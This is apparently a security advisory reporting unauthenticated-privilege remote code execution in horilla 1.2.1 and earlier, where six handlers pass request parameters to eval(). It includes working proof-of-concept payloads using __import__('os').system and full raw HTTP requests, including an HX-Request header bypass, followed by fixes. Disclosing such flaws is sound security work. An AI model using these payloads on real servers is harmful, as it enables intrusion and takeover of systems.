YiLin Li
horilla ≤ 1.2.1
attendance/views/requests.py → request_new()
attendance/views/requests.py → get_employee_shift()
payroll/views/component_views.py → create_reimbursement()
pms/views.py → key_result_current_value_update()
pms/views.py → create_meetings()
recruitment/views/views.py → create_skills()
Multiple remote command execution vulnerabilities were found in horilla. Multiple handlers in horilla did not perform reasonable privilege checks, allowing request parameters from external sources to be passed into the eval() method, which ultimately led to the vulnerabilities.
URL | Vulnerability parameter | Request method | |
---|---|---|---|
1 | /attendance/request-new-attendance | bulk | GET |
2 | /attendance/get-employee-shift | bulk | GET |
3 | /payroll/create-reimbursement | instance_id | GET |
4 | /pms/key-result-current-value-update | current_value | POST |
5 | /pms/key-result-current-value-update | emp_key_result_id | POST |
6 | /pms/create-meeting | instance_id | GET |
7 | /recruitment/create-skills/ | instance_id | GET |
Critical
I will analyse the code that causes the vulnerability at each handler
- The cause of the vulnerability at /attendance/request-new-attendance is as follows:
where input from bulk is unfiltered and executed as python code.
- The cause of the vulnerability at /attendance/get-employee-shift is as follows:
where input from bulk is unfiltered and is executed as code, the value of employ_id is irrelevant.
- The cause of the vulnerability at /payroll/create-reimbursement is as follows:
where the input from instance_id is not filtered and is executed as code.
4/5. The cause of the vulnerability at /pms/key-result-current-value-update and /pms/key-result-current-value-update is as follows:
Where inputs from current_value and emp_key_result_id are not filtered and are executed as code.
- The cause of the vulnerability at /pms/create-meeting is as follows:
where the input from instance_id is not filtered and is executed as code.
- The cause of the vulnerability at /recruitment/create-skills/ is as follows:
where the input from instance_id is not filtered and is executed as code.
The causes of these vulnerabilities are similar, so I've chosen the view function located on /attendance/request-new-attendance
and /pms/key-result-current-value-update
to illustrate how vulnerabilities can be triggered
Firstly, I created a normal user ‘spiderman’ with minimum privileges. In the Django backend, you can see that ‘spiderman’ is not an administrator and does not have any permissions.
Subsequently, use spiderman to log into horilla and record the csrftoken
in the cookie and the csrfmiddlewaretoken
in the parameter when logging in.
For the first vulnerability: Construct a GET request to access /attendance/request-new-attendance
using the sessionid of the logged-in session, with the request parameters bulk=__import__('os').system('touch /home/lyl/hackInAttendance')
Notice that the Handler uses the @hx_request_required decorator for bypassing, so the following needs to be added additionally to the request header:
HX-Request: true
After sending this request, we can see the file /home/lyl/hackInAttendance
being created on the horilla server, indicating that the code was executed successfully.
For the second vulnerability: Construct a POST request to access /pms/key-result-current-value-update
using the sessionid
of the logged-in session and the previously recorded csrftoken
and csrfmiddlewaretoken
, with the request parameters current_value=__import__('os').system('touch /home/lyl/hackInPms')
After sending this request, we can see the file /home/lyl/hackInPms
being created on the horilla server, indicating that the code was executed successfully.
/attendance/request-new-attendance
GET http://192.168.0.166:8000/attendance/request-new-attendance?bulk=__import__('os').system('touch%20%2fhome%2flyl%2fhackInAttendance') HTTP/1.1
Host: 192.168.0.166:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.166:8000/
HX-Request: true
Connection: close
Cookie: csrftoken=9eoX7czN8uY81y5W7OmIThrOcpc3JgPV; sessionid=bd8vz27cj76r5krhsbaphl1l6ewl3hqt
/attendance/request-new-attendance
POST http://192.168.0.166:8000/pms/key-result-current-value-update HTTP/1.1
Host: 192.168.0.166:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.166:8000/
Connection: close
Cookie: sessionid=bd8vz27cj76r5krhsbaphl1l6ewl3hqt; csrftoken=tyvez4ZtrW9QOPZJbu1JE1EfX58khXFD
Content-Type: application/x-www-form-urlencoded
Content-Length: 159
current_value=__import__('os').system('touch%20%2fhome%2flyl%2fhackInPms')&csrfmiddlewaretoken=EcnYepzWpk3uctWQNtBthvlf3jPWdbk0XAI2DjofG62aQ8LpONs2LmPkQeN6kYPt
- Add permission decorators to each Handler
- Whitelisting or regular filtering of arguments before calling the eval() method